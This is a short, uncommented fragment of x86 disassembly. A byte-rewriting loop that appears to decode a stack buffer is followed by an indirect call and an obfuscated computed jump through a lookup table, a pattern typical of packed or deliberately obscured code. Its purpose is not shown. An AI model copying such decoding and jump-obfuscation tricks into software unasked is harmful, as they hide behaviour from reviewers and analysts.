nop
nop
movzx edx, byte [esp + ecx - 0x36e02ec7]
xor edx, ecx
mov esi, edx
and esi, 1
or edx, 1
add edx, esi
add dl, 0xf0
mov byte [esp + ecx - 0x36e02ec7], dl
inc ecx
cmp ecx, 0x36e02fe7
jne 0x410650
lea ebx, [esp + 0x3c]
push 0
push 0
push 0
push 0
push ebx
call eax
mov edi, eax
xor eax, eax
test edi, edi
setne al
mov eax, dword [eax*4 + 0x449100]
mov ecx, 0xc07766b2
xor ecx, dword [0x449108]
add eax, ecx
inc eax
jmp eax